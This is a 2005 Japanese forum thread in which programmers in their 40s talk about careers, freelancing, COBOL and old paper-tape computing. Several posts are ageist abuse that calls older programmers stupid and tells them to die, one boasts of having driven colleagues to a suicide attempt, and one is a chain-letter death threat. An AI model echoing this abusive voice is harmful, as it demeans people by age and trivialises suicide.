【独走】４０代のプログラマーは神【安定】

1 ：代表：2005/04/18(月) 07:53:29

４０代でPGをやりストレスもなくマイペースで仕事をしている、最高じゃ！！！
さあ、語ろう！！！

2 ：仕様書無しさん：2005/04/18(月) 08:22:14

連休あけまで仕事がない

3 ：仕様書無しさん：2005/04/18(月) 11:09:22

ぬるぽ

4 ：限りなく４０代：2005/04/18(月) 11:21:09

ガッ

5 ：ぬるぽアレックス◇NULLpoAREx：2005/04/18(月) 20:45:58

6 ：仕様書無しさん：2005/04/18(月) 20:46:49

◆

7 ：◇：2005/04/18(月) 20:47:09

◆

8 ：仕様書無しさん：2005/04/20(水) 01:25:31

41だ。現役だ。

9 ：仕様書無しさん：2005/04/20(水) 01:26:48

素敵

10 ：仕様書無しさん：2005/04/20(水) 01:47:01

俺も漏れも41だ。現役だ。
去年会社潰れたけど何とかそこそこ食っていけてるぞ。

11 ：仕様書無しさん：2005/04/20(水) 02:02:54

ヒント：40過ぎて２ｃｈで漏れとか言ってる奴。

12 ：仕様書無しさん：2005/04/21(木) 02:09:43

安定してねーで、会社起こせや！！！

13 ：仕様書無しさん：2005/04/21(木) 10:46:17

元上司は60で現役
東大工学部航空学科卒、でどう転んでもかないそうにないなぁ

14 ：仕様書無しさん：2005/04/21(木) 23:44:14

去年７０代でSEやってるフリーの人にあった。
マジで！！

15 ：仕様書無しさん：2005/04/21(木) 23:53:10

　ｰｰ
　(..)
ほ |
ぉ O

16 ：仕様書無しさん：2005/04/21(木) 23:58:32

俺は４７だ。
忙しくて５月連休アポーン決定。
温泉行きたいぞ。

17 ：仕様書無しさん：2005/04/21(木) 23:59:52

三菱の隣の部署でお婆ちゃんのフリーSE(推定60以上)の話が聞こえて来た。
けど話の内容は俺のレベルの比では無かった......

好きな人は何歳でも関係ないと思いました。

18 ：仕様書無しさん：2005/04/22(金) 20:51:27

企業でこき使われるのは嫌い。
会社起こすのもめんどう。
程々の収入は欲しい。
フリープログはそんな人向きかな。

19 ：仕様書無しさん：2005/04/23(土) 03:25:24

しもーた、３年は続けろという仕事請けちまった。
これで、４５まではプログラマー決定かorz..........

20 ：仕様書無しさん：2005/04/23(土) 05:10:38

主に汎用機でCOBOL言語で開発。
他にPCでdb-MAGICやACCESSなどで組んでる。
最近数ヶ月は取引先の全国展開のﾊﾟｯｹｰｼﾞの応援で出向してる。

自称現役SEがこんな発言をしてるんですが？
SEってこんな仕事なんですか？

21 ：仕様書無しさん：2005/04/23(土) 10:39:00

ほほぅ、COBOLにdb-MAGIC。
40代ならではですな。

22 ：仕様書無しさん：2005/04/23(土) 17:02:10

>>21

現役でいまだにこんなこと言ってる奴っているんでしょうか？

４０代でSEって、、、。

23 ：仕様書無しさん：2005/04/24(日) 02:57:06

45過ぎて中級プラグラマだが、なにか？

24 ：仕様書無しさん：2005/04/24(日) 03:31:30

>>45過ぎて中級プラグラマだが、なにか？

プログラマって会社で年中２ちゃんのダウソで暴れてても、結果さえ出せば
許されるものなの？

普通首になるでしょ？

25 ：仕様書無しさん：2005/04/24(日) 03:34:37

>>24
首にはならんぞ。
うちにもいるからね、４０代の初級PG・・・orz

26 ：仕様書無しさん：2005/04/24(日) 03:40:30

>>25

へえ、、どういう理由で？しかも初級？

27 ：仕様書無しさん：2005/04/24(日) 04:32:40

簡単な図書カードカタログのプログラムを作成してください。

このプログラムでは次のメニューを示します。

1.入力
2.著作名による検索
3.書名による検索
4.終了

選択項目を入力してください。

ユーザーが1を選んだ場合は、書名、著者、出版社を繰り返し入力させます。
書名として空白が入力されるまで、これを続けます。

2.著作名による検索、または3.書名による検索を選んだ場合は特定の著者
か書名を入力させ、一致するものが見つかったら、残りの情報を表示します。

この問題ってCOBOLで解くには数百ステップもかかるもんなんですか？

ここなら答えられる人がいると信じて、、、。

28 ：いなむらきよし：2005/04/24(日) 12:08:36

４０代の奇形はつらいキケー！

29 ：いなむらきよし：2005/04/24(日) 12:11:26

>>27
ついでに答えておくけど２～３００ステップは必要かもしれないキケー！
５００ステップ以上の工程を請求されたとしたら詐欺の可能性があるキケー！

30 ：仕様書無しさん：2005/04/24(日) 14:21:55

SEって１日中同じ部屋にいて同じPCから書き込んでて、仕事が成り立つ
ものなんでしょうか？

31 ：仕様書無しさん：2005/04/24(日) 14:26:53

>>27
有限個数の入力でプログラムが終了した後に、
入力内容を全て捨ててもイイというのなら
300ステップぐらいかな。
保存するなら、DB なのか　索引ファイルなのか、
はたまた　ただのシーケンシャルファイルなのか
でもう50ステップぐらいぶれるかな。

ステップベースで話を振るなら
前提条件をちゃんと出しなさい。

数百ステップもというが、COBOLはステップ数が増えやすい言語だしな。
1024*768のディスプレイで、テキストエディタを開いて
タテいっぱいに延ばした時に10ポイントのフォントで表示
しきれるのが50ステップより少し小さいぐらいだ。
ちょっとこみ入った動的SQLの生成なら、それだけで一杯になるぞ。

また、入力にちょっとしたチェックをやエラー対応・重複検出等の
処理を入れると、そのためのサブルーチン一つが20ステップぐらいか。
学校の宿題じゃなくて使い物にするなら、もっといろいろと必要な
処理が出てくるぞ。

32 ：仕様書無しさん：2005/04/24(日) 21:07:08

スレタイの【独走】

1　決められたコースを、その人だけが走ること。
　〔広義では、他のメンバーと関係無くひとり勝手に行動することをも指す〕

2　他を引き離してひとりだけ速く走ること。
　〔広義では、ひとりだけが特にすぐれて（他人にかまわず）活動することをも指す。

俺の場合、「ひとり勝手に行動する」だな。

33 ：仕様書無しさん：2005/04/24(日) 23:09:23

海外じゃ珍しくもなんともない。つか、西欧の人たちは30過ぎたら、それ以上あんまり老けない。

34 ：仕様書無しさん：2005/05/01(日) 03:40:58

>>33
老けないというのは嘘。老けて活気が落ちたと思われたら客先からも嫌われ、
会社からも首を切られるから、必死に若作りしているだけ（米国の場合）。

35 ：仕様書無しさん：2005/05/01(日) 22:22:05

神なら明日、仕事だろ。
漏れも仕事だが、客先のプロパを始め８０％近く１０連休なので、
まったりしてると思う。昼飯食って定時帰りだ。

36 ：仕様書無しさん：2005/05/05(木) 21:12:46

神なら明日、仕事だろ。
漏れも仕事だが、客先のプロパを始め８０％近く１０連休なので、
まったりしてると思う。昼飯食って定時帰りだ。

37 ：仕様書無しさん：2005/05/05(木) 22:28:46

４０：じゃま爺
５０：魔法使い
６０：妖精
７０：神

ドナルド・クヌース（１９３８～）氏に比べれば、まだまだ。

38 ：仕様書無しさん：2005/05/24(火) 11:53:22

うぅぅ、いそがしい。
楽隠居してぇ。

39 ：仕様書無しさん：2005/05/24(火) 11:58:22

自分がSEかPGかいまだにわからない。
仕様、設計、製造、試験、客との雑談　してまつ

40 ：仕様書無しさん：2005/05/24(火) 12:10:06

20代　Java厨　　　「せめてUMLくらい書けてくれよ」
30代　ブビ厨　　　「プログラムなんて簡単にできればそれでいいんだよ」
40代　ポインタ厨　「シンタックスシュガーはだな．．．」
50代　コボル厨　　「信用第一。今も昔もコボルが一番」
60代　新聞読み　　「．．．」
70代　神

41 ：仕様書無しさん：2005/05/24(火) 17:29:58

>>40
２０代：画面厨
３０代：オールラウンド
４０代：オールラウンド＋金のいい仕事
５０代：オールラウンド＋金のいい仕事＋画面厨

42 ：仕様書無しさん：2005/05/24(火) 17:39:43

うちの会社に40代半ばのプログラマが入ってきた。
けどすぐやめちゃった。
借金がなんだっていって。

で、結局その人のスキルが全然わかんなかった。
Cができること以外よくわからない。

43 ：仕様書無しさん：2005/05/24(火) 17:40:34

>>40
Javaは20代なのか？

ま、漏れ20代でJavaが一番得意だけどさ

44 ：仕様書無しさん：2005/05/24(火) 17:42:13

【Java叩き?】なぜ年寄りはOOを受け入れないのか 3
http://pc8.2ch.net/test/read.cgi/prog/1115573816/l50

こういうことか

45 ：仕様書無しさん：2005/05/24(火) 19:12:55

アメリカ社会に受け入れられない40代プログラマ
渋々日本で活躍

46 ：隊員：2005/05/24(火) 19:55:00

フリーでやってるけど、Javaだからとか、VBだから～とか言うのは無いよ。
出来てあたり前だし、言語はあまり問題ではないよ。
ただCOBOLはやらないけど。
オレも４０代前半。
ひととおりやると、プログラマのほうが楽しいね。もがく必要もないし。

47 ：仕様書無しさん：2005/05/25(水) 01:32:04

>>46
> フリーでやってるけど、Javaだからとか、VBだから～とか言うのは無いよ。
> 出来てあたり前だし、言語はあまり問題ではないよ。

それを、綺麗事というのだよ、40代君。

48 ：仕様書無しさん：2005/05/25(水) 02:13:42

×　綺麗事
○　常識

49 ：隊員：2005/05/25(水) 14:26:35

日本のおじさんにはなりたくない。

おじさんと呼ばれるのはいいんだけど、一括りにされたくないです。

50 ：爺：2005/05/25(水) 14:32:28

爺ですじゃ。

みなさん、お若いのお・・・。
ふぉふぉふぉ！

まあ、健康に気をつけて、
ガンバリなされ。

爺めは、最近目が見えなくなってきて、
引退するしかない状況ですじゃ。
ふぉふぉふぉ！

51 ：仕様書無しさん：2005/05/25(水) 14:37:59

>>49
じゃあどこのおじさんならなりたいの？

52 ：仕様書無しさん：2005/05/25(水) 14:40:42

>>16
俺は４７だ。
忙しくて５月連休アポーン決定。
温泉行きたいぞ。

うちの先輩のようだ・・・

53 ：仕様書無しさん：2005/05/25(水) 14:45:41

>>50
えらそうに命令すんな

54 ：仕様書無しさん：2005/05/25(水) 14:50:25

若いのぅ

55 ：仕様書無しさん：2005/05/25(水) 15:25:35

>>53
きっとお前よりえらいんだよ。

56 ：仕様書無しさん：2005/05/25(水) 15:37:13

IT業界を３０歳過ぎて退職したら、転職先はありませんよ。
おまいらIT奴隷は、死ぬまでパソコンとチュッチュしててください。

57 ：仕様書無しさん：2005/05/25(水) 15:39:48

>>56
それどこの国のIT業界だよ。日本じゃ30過ぎて転職なんてザラにあるぞ

58 ：四十代後半：2005/05/25(水) 16:18:13

残念ながら「４０を超えるあたりで論理的思考力が低下する」
ことを最近やっと認められる様になったぞ。
仕事に必要なのは論理的思考力だけではないけどね

59 ：隊員：2005/05/25(水) 16:45:11

>>58
そうですね！
論理的思考を積み上げた結果、別の思考ができてるから、頭たいして使わなくなる。

60 ：仕様書無しさん：2005/05/25(水) 16:59:15

>>57
スキルを磨いている人であれば、多少の見込みがあるかもし
れないが、そうでなければ、例え転職しても同じことを延々
と繰り返すだけ、目的を達成できない転職なんて、転職した
とはいえないのでは。なんの努力もしない奴に希望などある
はずもない。きっと>>56みたいなやつだけどね。

61 ：仕様書無しさん：2005/05/25(水) 19:56:51

組込みだと思考なんかいらないぞ。
むしろ構造の経験のほうが役に立つ。

62 ：隊員：2005/05/25(水) 20:09:12

>>61
俺、事務にぃーだから。組み込み系は、まるでわからないです。

63 ：いなむらきよし：2005/05/26(木) 19:11:00

時々でいいから４０代の奇形の事も思い出して欲しいキケー！

64 ：仕様書無しさん：2005/05/27(金) 13:07:18

>>48
40代はバカだからこういう脳内変換しかできない。
もう、こうなったらこいつらの脳みそを手術して
矯正治療するしかない。

こいつらの脳に人格補正チップをうめこむしかない。

65 ：仕様書無しさん：2005/05/27(金) 13:07:29

これからの時代、

　　オブジェクト指向が理解できない奴は

　　プログラマとはみとめるわけにはいかなくなった。

オブジェクト指向を理解できない奴は即クビ！

66 ：仕様書無しさん：2005/05/27(金) 13:08:19

40代はバカだからオブジェクト指向を理解できない。
これ定説。
だからオブジェクト指向を知らない40代は即刻クビにすべきである。

67 ：仕様書無しさん：2005/05/27(金) 13:14:06

>>46
> フリーでやってるけど、Javaだからとか、VBだから～とか言うのは無いよ。
> 出来てあたり前だし、言語はあまり問題ではないよ。
> ただCOBOLはやらないけど。
> オレも４０代前半。
> ひととおりやると、プログラマのほうが楽しいね。もがく必要もないし。

40代はバカだから
どんな言語を使ってもどんなものも同じ時間、早さで、コスト作れると勘違いしている。

40代はバカだから言語に拘らないと称した綺麗事をほざいて
Ｃしかできずオブジェクト指向も理解できない低脳が多い。

40代は頭が悪いからスパゲティコードしかかけず
若者プログラマの邪魔をする。こいつらははっきりいって悪魔だ。

40代はバカだから年功序列と称して、どんなに正しいことであっても意見や提案を言う若者の意見をろくにきかず
若者の給料を盗んでゆく。こいつらはIT業界のガンだ。さっさと死んでくれ。

40代はバカだからテストもろくにしない。40代の書くコードはバグばかり。しかもCOBOL信者。
言語に拘らないと綺麗事を行っておきながら得意な言語はCOBOLのみで
C++,Java, Perl, Ruby, XMLを使いこなせる若者に迷惑をかけている。はっきりいってウゼー。さっさとしね40代の姿した糞餓鬼。

そんなに言語に拘らないって言うならアセンブラだけで大規模開発してみろってんだFUCK!

68 ：仕様書無しさん：2005/05/27(金) 13:14:44

40代バカだからねえ。

と、

さんはい！

69 ：隊員：2005/05/27(金) 22:23:26

言語は、できてなんぼだから。

70 ：仕様書無しさん：2005/05/27(金) 22:45:25

>>63
お前40にもなってにちゃんにいりびたりかよ。
真面目に人生考えた方がいいんじゃないか？

71 ：いなむらきよし：2005/05/28(土) 00:09:42

>>70
奇形なりに人生設計はちゃんとしてるキケー！
この歳になっても食事付の会社の寮だから生活費は極限まで絞ってるキケー！
俺みたいなのが将来頼るものといえば金しかないキケー！

ただ俺たちの場合借家はたとえ保証人がいても貸してもらえない場合が多いキケー！
奇形が住んでるって事だけで物件の評価価値が下がるらしいキケー！
だから今は定年まで独身寮にいて定年後貯金と退職金で一軒家を建てて
年金と（障）手当てで暮らすのが夢だキケー！
会社も一応一部上場企業だしたぶんお前より贅沢な老後が過ごせると思うキケー！

72 ：仕様書無しさん：2005/05/28(土) 01:06:30

今日さあ、人の名前を度忘れしたんだ。
「宮○」までは思い出すんだけど、そこから先がどうしても出てこない。
「宮田」「宮村」「宮崎」「宮脇」・・・
ランダムに色々と名前を挙げてみるのだが、皆違う。

そしたらさ、突然こんなSQL文が浮かんだんだ。

SELECT　名前　FROM　頭の中　WHERE　名前　LIKE　'宮%'

思い浮かんだ瞬間、「やった。これで分かるぞ」って安心しちまったんだよ。

こんな経験した奴、他に居るかな？

73 ：仕様書無しさん：2005/05/28(土) 01:35:58

>>72
職業病です

74 ：仕様書無しさん：2005/05/28(土) 01:53:58

ﾈﾀとしてつまらなさ杉
さすが40代

75 ：仕様書無しさん：2005/05/28(土) 10:07:35

こ　の　ス　レ　は

　凍　え　る　ほ　ど　寒　い　オ　ヤ　ヂ　ギ　ャ　グ　し　か　

　　　言　え　な　く　な　っ　た　4　0　代　が　集　ま　る　ス　レ　と

　　　　　な　り　ま　し　た　。

76 ：仕様書無しさん：2005/05/28(土) 15:00:36

・・・みんないつかはそうなる

77 ：隊員：2005/05/28(土) 18:27:19

>>72
俺なら人名が乗ってるサイトで「宮」と入れるかもしれない。
最近、人の名前覚えなくなったよなぁ

78 ：仕様書無しさん：2005/05/28(土) 23:46:42

とはいえ、プロも歳をとれば油断する。
大事故になりかねない。
若い奴でも調子に乗ればとんでもない殺人を犯すことになる。
プロでも酒を飲めば3人の高校生の命を奪ってしまう最近の交通事故のように
なることもありうるのだ。

JR西日本のような列車事故は焦ったために起きたことだ。
焦りに焦ってバグで人を殺すようなプログラミングをすることは許されない。

私はC++を医療器や航空機に使うことは反対だ。
C++は使い方を誤ると誤って患者や旅客の命を奪いかねない言語だからだ。
だから人の命を奪う恐れが高いC++は普及させないほうがいいと思っている。
時間とかければいいとはいえ、顧客は容赦しない、
「他の言語でやすくできるならなぜC++では安くできないのか？」
と問いつめてくるのだ。そうなると大抵の企業はものを「お客様は絶対的な神様だ」と称して
ものを速く完成させようとすると。すると徹夜残業が増える。徹夜残業しても間に合わないので
C++にしかできないとんでもないスパゲティコードが生まれる。
そしてC++のコードが世に増えれば増えるほど無駄に徹夜する時間が増えてしまう。
C++のコードを貰い受け、引き継ぎ、苦労する後継者が増える。
そして焦りが人の命を奪う。

だから、私はC++だけで作られた自動操縦システムを開発することに反対する。
JR西日本のような列車事故を二度と起こさないためにも。

少なくともC++に厳重なルールとC++の規格が統一されるまでは
C++は普及させないほうがいいだろう。人々の命を救うためにも。

79 ：仕様書無しさん：2005/05/29(日) 00:26:20

30代でプログラマーになれますか？

80 ：仕様書無しさん：2005/05/29(日) 00:39:41

>>79
なれます。
60でも70でもなれます。
もともとたいした仕事じゃなんだから。

81 ：仕様書無しさん：2005/05/29(日) 17:08:44

>>67
＞どんな言語を使ってもどんなものも同じ時間、早さで、コスト作れると勘違いしている。

いきなり文脈から外れた話を出して誤魔化すのはなぜですか？

＞Ｃしかできずオブジェクト指向も理解できない低脳が多い。

ちなみに、言語に拘らない≠１つの言語に固執する、ではありません。
読解力を身に付けましょう。

＞どんなに正しいことであっても意見や提案を言う若者の意見をろくにきかず
＞40代の書くコードはバグばかり。しかもCOBOL信者。

不幸な環境に居られるのですね。
同情しますよ。
少し、外の世界をご覧になってみてはいかが？

＞そんなに言語に拘らないって言うならアセンブラだけで大規模開発してみろってんだFUCK!

コスト意識を持たないと出世できませんよ。

82 ：隊員：2005/05/30(月) 01:18:50

>>81
おばかプロジェクトに投げ込まれたか、上司やプロジェクトマネージャに恵まれてないんだよ。たぶん。
おやじ＝無能みたいに思わないと現実とのギャップについていけないんだよ。
まあ、いずれは生き残りをかけて妄想ばかりではこの業界食えないことがいやでも、わかるから、大目に見てやろうじゃないか。
まあ、４０代は「プロジェクトマネージャもできる」けどやらないでプログラマやる、もありな訳で、プログラマしかできないのとは話は違うから。

83 ：仕様書無しさん：2005/05/30(月) 04:10:18

>>82みたいな香具師がPMやると、デスマ突入率 82.3%

ま、PMになれる確率は1/393.8程度だから、心配はいらないけど。Ｗ

84 ：隊員：2005/05/30(月) 14:38:08

>>83
私？ですか。
ＰＭなんて　おそれおおい仕事しないですよ。（w

85 ：仕様書無しさん：2005/05/30(月) 15:37:28

VBAって役に立ちますか？
MOUS Master持ってるのでVBAも使いこなしたいと思ってるんですが。

86 ：隊員：2005/05/30(月) 22:07:42

>>85
役に立たないものは無いと思います。
技術はブランドじゃないから。
ＶＢＡいいんじゃないでしょうか？

87 ：仕様書無しさん：2005/05/31(火) 00:25:39

イメージが湧くかどうか解らないが
当時、コンピュータ（っか電算機）の
記憶媒体は
『紙』であった。
幅３ｃｍくらいかな？
それを機械にセットして
パンチ穴をあけて記憶していた。
紙テープ自体は運動会や文化祭で使うような
ごく普通の紙テープだったが
何しろ長さが長い。
巨大紙テープであった。
機械から排出取れる記憶済み紙テープは
『ザル』もしくは『プラゴミ箱（もちろん紙テープ用で清潔）』
で受け止めていた。

88 ：仕様書無しさん：2005/05/31(火) 03:18:42

>>87
どこの老人ホームから書き込まれているのですか？

89 ：仕様書無しさん：2005/05/31(火) 05:22:21

ヤマトの真田さんは出てきたテープを一瞬で読める異能者だったよ

90 ：仕様書無しさん：2005/05/31(火) 12:02:32

>>81
> >>67
> ＞どんな言語を使ってもどんなものも同じ時間、早さで、コスト作れると勘違いしている。
>
> いきなり文脈から外れた話を出して誤魔化すのはなぜですか？
（ﾟДﾟ）ﾊｧ? 何いってんだ？　このスレの40代ジジイはどいつもこいつも外れた話で誤魔化してる餓鬼臭い
やつばかりじゃねえか。

91 ：隊員：2005/05/31(火) 12:12:01

>>87
あくまで噂だがある電話会社の通信研究所では、いまだに紙テープ使ってるところがあるらしい。
♪電電虫　虫
かたつむり
おまえの頭は
どこにもねぇ

92 ：仕様書無しさん：2005/05/31(火) 14:50:03

そもそも>>81自身が自分のことを棚に上げて外れた話をして誤魔化しているわけだが。

93 ：仕様書無しさん：2005/05/31(火) 16:06:39

>>87～89
工業機械ではいまだに紙テープ使ってるとこありますよｗ
かな～り旧式の機械ですが、ドリルで穴開けたり、外形削ったり、
NC旋盤って言うんだっけかな？？名前は不確かですがね。

あるいみ現役バリバリでしたよｗ

94 ：仕様書無しさん：2005/05/31(火) 20:02:12

マジレスすると過酷な環境で使う機械なら
紙テープのほうが有利だったりする。

95 ：仕様書無しさん：2005/05/31(火) 22:59:55

アフォくさ

96 ：仕様書無しさん：2005/06/01(水) 11:50:35

俺、紙テープ読めた。
もう忘れたけど。

幅は確か１インチだったような気がする。

97 ：仕様書無しさん：2005/06/01(水) 12:11:34

紙テープでコーディングする時ってさ、間違えるとその部分だけ切って糊付けするんだよな・・・
高校の授業でしかやってないけど、何もかもが懐かしい・・・

98 ：仕様書無しさん：2005/06/01(水) 13:28:10

>>97
パッチ(patch)
　(名)つぎ(切れ);ばんそうこう
　(動)つぎを当てる;修繕する;

99 ：隊員：2005/06/01(水) 21:06:01

>>98
なるほど（膝打
だから、今でもパッチを当てると言う訳だ。

100 ：仕様書無しさん：2005/06/02(木) 01:19:33

>96
出力されるスピードで読めた？だとしたら異能者。

101 ：仕様書無しさん：2005/06/02(木) 17:49:41

関連ｽﾚ
　　昔のプログラム開発
　　http://pc8.2ch.net/test/read.cgi/prog/1101738120/l50

102 ：仕様書無しさん：2005/06/04(土) 17:34:28

Ｃ＋＋とかＣ＃とか言って、Ｄ言語と名乗らない理由を考えれば、
これらの言語の意味あいが理解できるというものだ。

103 ：仕様書無しさん：2005/06/05(日) 10:35:11

プログラマーでまったり行きたいが、
リーダーだの、マネージャの仕事しかこねぇーーーー。

リーダー、マネージャなんかになったらもう人生おわりだよな。

104 ：隊員：2005/06/06(月) 16:58:18

会社でパワーポイントで資料書いてる時間が３割。
２ちゃんとかやってたり、たばこ吸ってる時間が７割。
ミーティングとはほとんど無し。あっても２～３日に１回あるか無いか、３０分程度。実に合理的。

仕事の能率は会議の時間に反比例する。

４２でフリーでやってますが、この仕事で、この金額はおいしすぎる。

ちなみに、WEBのシステムで言語は、JAVA。
DBは、DB2

１０時出社、残業の気配、まるでなし。

「フ　リ　ー　は　一　度　や　っ　た　ら　、や　め　ら　れ　な　い。」

105 ：仕様書無しさん：2005/06/06(月) 17:15:13

そういやモティ元気かな。。

106 ：仕様書無しさん：2005/06/06(月) 18:11:29

>>204
> ４２でフリーでやってますが、この仕事で、この金額はおいしすぎる。

いくらくらいですか？

107 ：仕様書無しさん：2005/06/07(火) 06:39:02

今年42だけど年収1000万なんてとてもじゃないがいかない。
なんでだろう。

108 ：仕様書無しさん：2005/06/08(水) 05:21:33

おれは４５歳だがSEには興味がない・・・
コボルを極めて、こつこつプログラムを作るのが最高の幸せ。
もちろん収入は少ないし上司は若輩・・・

でも、ええじゃないか、本人が楽しくて仕方がないんだから・・・

109 ：仕様書無しさん：2005/06/08(水) 11:47:22

定年まで続けられる状況ならオメデトウと言っておきます

110 ：仕様書無しさん：2005/06/10(金) 11:25:59

紙くずのくせに。ｗ

111 ：仕様書無しさん：2005/06/10(金) 11:27:44

【独走】【新人】４０代のPG一年生のプログラマーは神スレ【安定】【新入社員】

112 ：仕様書無しさん：2005/06/10(金) 12:13:38

フリーも良いけど、後に残るのは、家族ではなく金にならないように
注意しましょう。

113 ：仕様書無しさん：2005/06/10(金) 15:00:18

私はどちらも残らなかった。

114 ：ちょうど40才：2005/06/10(金) 15:49:36

↑
それ、まことの「フリー」だな。
金からも、家族の縛りからも解放されてさ。

でも、さらに肉体からの魂の解放とか言い出すなよ。生Kg。

115 ：仕様書無しさん：2005/06/10(金) 20:05:35

>>112
金が残ればいいのでは、

116 ：隊員：2005/06/11(土) 14:38:11

>>106
それは、さすがにちょっと…
お子図解が、自由に使える程度ですよ。

117 ：仕様書無しさん：2005/06/11(土) 18:17:11

昔、PG３５歳定年説とかよく言われてたけど、ありゃその時代の状況が
作った言葉だね。たしかにあの当時、ソフトハウスは不夜城なんて呼ばれてて、
２徹、３徹当たり前って感じだったし。
おれ４０代の現役フリーSEだけど、実感としてはPGほど息の長い職業はないと思う。
プロスポーツにたとえれば、プロレスみたいなもんかな。

めざせ！ジャイアント馬場さん！

118 ：仕様書無しさん：2005/06/11(土) 18:36:28

４０でプログラマーなら、
友達も女もましてや嫁さんも要らないし、
そんなら金のかかる趣味は要らんし、
せいぜい酒とたばこぐらいなもんか。

自立してれば同じ気狂いでも気が楽だな。

119 ：仕様書無しさん：2005/06/11(土) 22:21:26

「フリーSE」ってどんなことやるの？
ちなみに私は40才フリープログラマだけど、どこ行ってもリーダーやらされてマネジメントしかできないよorz
で、無能なチームメンバーの尻拭いをするときだけ、プログラミングできるorz

120 ：仕様書無しさん：2005/06/11(土) 23:10:06

>>119
そんなもんです。

本当は一律に経験年数が何年ならリーダーなんて決め付けずに
作業を割り振った方が生産性あがると思う。

実装を素人に毛が生えたようなのにやらせるから品質がボロボロ
に。実装軽視とでも言いますか。特に言語がCのとき。

121 ：仕様書無しさん：2005/06/12(日) 05:16:51

俺も４０台だが、そろそろしんどくなってきた。
設計かプログラミングか、どちらかだけならいいんだが
要求定義からプログラミングまで、全てこっちにやらせよう
とする。おまけに、やさしい分は若手にまわして面倒まで
みてやらなきゃならん。
もう、ヘロヘロだ。
営業のボケ、１年目の新人だけ下につけるな。

122 ：仕様書無しさん：2005/06/12(日) 20:46:12

いまだにブラインドタッチができません

123 ：隊員：2005/06/12(日) 21:24:31

フリーの良いところは、「おばかプロジェクト」は、こちらから遠慮できること。

オレは今後は、メーカーとか、電話会社の仕事は、おつきあいさせていただく気がないですね。

124 ：仕様書無しさん：2005/06/12(日) 23:49:14

仕事もらっていた会社が次の仕事を紹介してくれるのだが、
ろくなのが無いことが連続した場合、家で遊んで暮らせます。

年平均数週間こんなことがあります。

125 ：仕様書無しさん：2005/06/14(火) 02:28:26

40代っていってもな、41と49でわ相当違う。
41は30代みたいなもんだが、49でわ時として60ジジーとたいして変わらなくなる。

だから実際は５５過ぎてなおプログラマでいられたら神。というところでわないかいな。

126 ：仕様書無しさん：2005/06/14(火) 06:18:01

フィンローダ50歳。神。

127 ：仕様書無しさん：2005/06/14(火) 07:39:28

下流をやれ！！！下流を！！！

単価は低いが、断然楽だ！！！

SEや、上流なんぞ、いくら単価が良くても疲れるだけだ！！！

４０代、独身男なら、下流をやれ！！！

ばかものが！！！

128 ：仕様書無しさん：2005/06/14(火) 11:09:04

余計なお世話だ

129 ：隊員：2005/06/14(火) 11:22:51

フリーになってからは「自分の健康管理」には、人一倍気を使うようになった。

あとは、「自分の評価は自分でする」ってことかな。

130 ：仕様書無しさん：2005/06/14(火) 13:02:41

>129
俺様のぎじゅつは世界一ぃぃぃ！

131 ：仕様書無しさん：2005/06/14(火) 13:24:59

>>130
そんな自信家になってみたい

自分の同等の技術力持っている奴なんて
世の中に1万人以上いそうな気もするし
給料だって多少高いといっても
同世代が100倍以上貰ってるのもTVで見た
周りに高給取りがいないだけで
それだって自分がうだつの上がらない組に
所属している証明みたいなもんだ

132 ：仕様書無しさん：2005/06/14(火) 15:10:22

>>125
つhttp://www.google.co.jp/search?sourceid=navclient&hl=ja&ie=UTF-8&rls=GGLD,GGLD:2004-19,GGLD:ja&q=%E6%B5%A6%E6%9C%AC%E5%8B%9D%E4%B9%85

133 ：仕様書無しさん：2005/06/14(火) 21:40:59

４５がやまばだ、
だめだ、越せない、orz..........

134 ：仕様書無しさん：2005/06/14(火) 22:20:53

>>127
さすが、ネ申、わかっとるじゃん。

ユーザ系にもぐりこんだら干された。
仕事しねーと、体中退化してく、やっぱ下流だ。

135 ：仕様書無しさん：2005/06/15(水) 00:10:28

>>134

そのとおり！！！

４０代、５０代なら下流ありき！！！

３０代のリーダーにこき使われてこそ花！！！

昔、自分が３０代の頃、４０代どもを、こきつかいノイローゼにさせ

自殺未遂者を出した苦い思い出がある！！！

下流をやってこそ花！！！それに早く気づいた者が、独走、安定を勝ち取る！！！

わかったか野郎ども！！！

がははは！！！

136 ：仕様書無しさん：2005/06/15(水) 00:30:15

>>135
巡り巡って、今、おまいさんの番が来たってわけだ。
恩は情けのためならず。がんばろっと。

137 ：仕様書無しさん：2005/06/15(水) 01:18:58

¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶

　¶¶¶¶¶¶
　¶*ﾟーﾟ ¶　ヘイッ！私のｷﾞｺｸﾝどこ？　
　Ｕ　　Ｕ
　　く　く

¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶

このＡＡをみてから１０日以内に１０回書き込まないと、
両腕をもがれて死にます。

虐厨はうそつきだと思ったみなさん。
すいません。
虐厨はうそつきではないのです。
しにたくないだけ、なんです。

¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶

138 ：仕様書無しさん：2005/06/15(水) 01:27:09

そうかぁ、俺は神だったのか

139 ：仕様書無しさん：2005/06/15(水) 21:44:02

偽装請負ととらぶっている。
２６歳という社長にあった、漏れよりいいスーツ着てやがる。

たかが３０マソ払え払えねーの無限ループだ。
だか、漏れは神（４６才ＰＧ）、とことん戦う。
偽装請負と芋ずる式に４社を相手にするだろう。

冥土のみやげに偽装請負の倒産を持ってく、最後の戦いだ。

140 ：仕様書無しさん：2005/06/15(水) 22:28:29

下流か。。。

もお、なんか考えるのめんどくさくなって、
バカが作った仕様そのまま作っちゃった方が楽なんだよね。
結果、どうなったって知った事じゃ無いし、
コーディングなら頭使わなくて良いしね。
麺手しやすいフレーム作っても誰にも評価されないし、
むしろ仕事を減らしたって恨まれるだけだし。

141 ：仕様書無しさん：2005/06/15(水) 22:57:50

体力ばかりがありあまっているやつは多いです、ほんと。
時々あいつら頭の中まで筋肉で出来ているんだろうと思う。

142 ：仕様書無しさん：2005/06/15(水) 23:10:16

>>139
そんな。「最後」とか言わないでくださいよ。
落ち着いて、最適な解を見つけましょう。まだまだ先は長いです。

143 ：仕様書無しさん：2005/06/15(水) 23:28:52

なんで余命があと30年以上あるんだろう。
神様これは何のため？

